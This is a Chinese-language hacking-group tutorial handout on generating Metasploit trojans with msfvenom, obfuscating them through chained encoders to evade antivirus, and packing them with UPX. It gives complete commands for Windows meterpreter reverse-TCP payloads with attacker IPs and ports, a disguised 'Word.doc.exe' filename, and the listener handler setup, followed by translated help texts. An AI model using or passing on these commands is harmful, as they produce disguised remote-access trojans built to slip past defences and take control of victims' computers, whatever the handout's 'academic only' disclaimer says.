主讲： 屌丝绅士  
时间：12.9 晚 8.30  
地点：群直播（无YY）  
有录屏  
主题：msf木马生成+免杀+壳（福利） 不是很难 大牛请绕 谢谢

分享声明：本分享/教程 仅作为学术交流 切勿用于非法使用 如有违法，与本人无关

<http://www.zmnhssn.com/> 十三年 社团站点 希望大家多多支持

MsfVenom - a Metasploit 独立有效负载发生器。

Also a replacement for msfpayload and msfencode.

Usage: /usr/bin/msfvenom [options] <var=val>

选项:

-p, --payload <payload> 有效载荷使用。指定一个有效的自定义载荷

--payload-options 列出有效载荷的标准选项

-l, --list [type] 列出一个模块类型。选项有：有效载荷，编码器，NOP，所有

-n, --nopsled <length> 在一个nopsled [长度]的大小对有效载荷

-f, --format <format> 输出格式（使用-一个列表的帮助格式）

--help-formats 列出可用的格式

-e, --encoder <encoder> 使用的编码器

-a, --arch <arch> 使用的架构

--platform <platform> 有效载荷平台

--help-platforms list available平台

-s, --space <length> 所得到的有效载荷的最大大小

--encoder-space <length> 编码的有效载荷的最大大小（默认值为S的值）

-b, --bad-chars <list> 人物避免实例列表：“x00xff”

-i, --iterations <count> 编码有效负载的次数

-c, --add-code <path> 指定一个额外的Win32文件包括shellcode

-x, --template <path> 指定要使用的自定义可执行文件作为模板

-k, --keep 保存模板行为，并将有效载荷注入一个新线程

-o, --out <path> 保存有效载荷

-v, --var-name <name> 为特定的输出格式指定一个自定义变量名称

--smallest 产生最小可能的有效载荷

-h, --help 显示此消息

实例： （生成）

msfvenom -p（有效攻击载体） windows/meterpreter/reverse\_tcp -e（使用编码器，理解成在什么平台运行） x86/shikata\_ga\_nai -i （编码次数，理解成混淆特征码）5 -b（特征码绕过） “\x00” lhost=192.168.11.227 lport=443（攻击者ip和监听端口） -f（输出的格式） exe > （输出成什么）payload.exe

msfvenom -p windows/meterpreter/reverse\_tcp -e x86/shikata\_ga\_nai -i 5 -b “\x00” lhost=192.168.0.7 lport=4444 -f exe > text.exe

Word.doc.exe

Msf> use exploit/multi/handlr #用于反向监听的模块

Msf exploit（handler）>set payload windows/meterpreter/reverse\_tcp #选择攻击模块

Payload => windows/meterpreter/reverse\_tcp

Msf exploit(hanler) > show options

Msf exploit(hanler) > set lhost 192.168.0.7

Msf exploit(hanler) > set lport 443

Msf exploit(hanler) > exploit #启用监听

msfvenom -p windows/meterpreter/reverse\_tcp -e x86/shikata\_ga\_nai -i 5 -b “\x00” lhost=192.168.11.227 lport=443 -f raw （生成可编译机器码）|（管道符传递） msfvenom -a x86 --platform win -e x86/alpha\_upper -i 2 -f raw | msfvenom -a x86 --platform win -e x86/shikata\_ga\_nai -i 5 -f raw |msfvenom -a x86 --platform win -e x86/countdown -i 5 -f exe -o text.exe （以上经过多次混淆代码 但文件依旧可以使用 ）

msfvenom -p windows/meterpreter/reverse\_tcp -e x86/shikata\_ga\_nai -i 5 -b “\x00” lhost=192.168.0.7 lport=4444 -f raw | msfvenom -a x86 --platform win -e x86/alpha\_upper -i 2 -f raw | msfvenom -a x86 --platform win -e x86/shikata\_ga\_nai -i 5 -f raw |msfvenom -a x86 --platform win -e x86/countdown -i 5 -f exe -o text.exe

**加壳 压缩 （使其成为透明）**

Ultimate Packer for eXecutables

Copyright (C) 1996 - 2013

UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

命令:

-1 压缩更快 -9 压缩更好

-d 使减压； -l 表压缩文件

-t 测试压缩文件 -V 显示版本号

-h 给更多的帮助 -L 显示软件许可证

选项:

-q 安静模式 -v 是冗长的

-oFILE 写入输出到“文件”

-f 可疑文件的强制压缩

-k 保存备份文件

file.. 可执行文件（DE）压缩

类型“UPX --帮助更详细的帮助。

UPX 配备 ABSOLUTELY NO WARRANTY; 详情访问http://upx.sf.net

upx -5 text.exe

文末附加 upx详细参数解析 （未翻）

Ultimate Packer for eXecutables

Copyright (C) 1996 - 2013

UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

命令:

-1 压缩更快 -9 压缩更好

-d 使减压； -l 表压缩文件

-t 测试压缩文件 -V 显示版本号

-h 给更多的帮助 -L 显示软件许可证

选项:

-q 安静模式 -v 是冗长的

-oFILE 写入输出到“文件”

-f 可疑文件的强制压缩

-k 保存备份文件

file.. 可执行文件（DE）压缩

--no-color, --mono, --color, --no-progress 改变外观

压缩优化选项:

--brute 尝试所有可用的压缩方法和过滤器 [slow]

--ultra-brute 尝试更多的压缩变种 [very slow]

备份选项:

-k, --backup 保持文件备份

--no-backup 没有备份文件[默认]

覆盖选项:

--overlay=copy 复制附加到文件的任何额外数据[默认]

--overlay=strip 带附加到文件的任何附加数据[DANGEROUS]

--overlay=skip 不要用覆盖来压缩文件

在 djgpp2/coff的选项:

--coff 产生COFF输出[默认]：EXE

可选择的:

--8086 使压缩的任何8086个工作

选择dos/exe:

--8086 使压缩exe在任何8086

--no-reloc 把没有搬迁到EXE头

选择dos/sys:

--8086 使压缩的系统工作在任何8086

选择生成 ps1/exe:

--8-bit 使用8位大小压缩[默认值：32位]

--8mib-ram 8 MB内存限制[默认：2 MIB ]

--boot-only 禁用客户端/主机传输兼容性

--no-align 不要对齐到2048个字节[使：-控制台运行]

选择生成watcom/le:

--le 产生了输出[默认]：EXE

选择生成 win32/pe, rtm32/pe & arm/pe:

--compress-exports=0 不要压缩导出部分

--compress-exports=1 压缩导出部分[默认]

--compress-icons=0 不要压缩任何图标

--compress-icons=1 压缩所有，但第一个图标

--compress-icons=2 压缩所有，但第一个图标目录[默认]

--compress-icons=3 压缩所有图标

--compress-resources=0 不压缩任何资源

--keep-resource=list 不压缩列表指定的资源

--strip-relocs=0 不带迁移

--strip-relocs=1 带搬迁[默认]

选择生成 linux/elf:

--preserve-build-id 复制gnu.note.build-id压缩输出。

file.. 可执行文件（DE）压缩

此版本支持: （以下不在一一叙述 ）

AMD64-darwin.macho Mach/AMD64

ARMEL-darwin.macho Mach/ARMEL

amd64-linux.elf linux/ElfAMD

amd64-linux.kernel.vmlinux vmlinux/AMD64

amd64-win64.pe win64/pe

arm-linux.elf linux/armel

arm-linux.kernel.vmlinux vmlinux/armel

arm-wince.pe arm/pe

armeb-linux.elf linux/armeb

armeb-linux.kernel.vmlinux vmlinux/armeb

armel-linux.kernel.vmlinuz vmlinuz/armel

fat-darwin.macho Mach/fat

i086-dos16.com dos/com

i086-dos16.exe dos/exe

i086-dos16.sys dos/sys

i386-bsd.elf.execve BSD/386

i386-darwin.macho Mach/i386

i386-dos32.djgpp2.coff djgpp2/coff

i386-dos32.tmt.adam tmt/adam

i386-dos32.watcom.le watcom/le

i386-freebsd.elf BSD/elf386

i386-linux.elf linux/elf386

i386-linux.elf.execve linux/386

i386-linux.elf.shell linux/sh386

i386-linux.kernel.bvmlinuz bvmlinuz/386

i386-linux.kernel.vmlinux vmlinux/386

i386-linux.kernel.vmlinuz vmlinuz/386

i386-netbsd.elf netbsd/elf386

i386-openbsd.elf opnbsd/elf386

i386-win32.pe win32/pe

m68k-atari.tos atari/tos

mips-linux.elf linux/mipseb

mipsel-linux.elf linux/mipsel

mipsel.r3000-ps1 ps1/exe

powerpc-darwin.macho Mach/ppc32

powerpc-linux.elf linux/ElfPPC

powerpc-linux.kernel.vmlinux vmlinux/ppc32

UPX是绝对没有保修；详情访问 http://upx.sf.net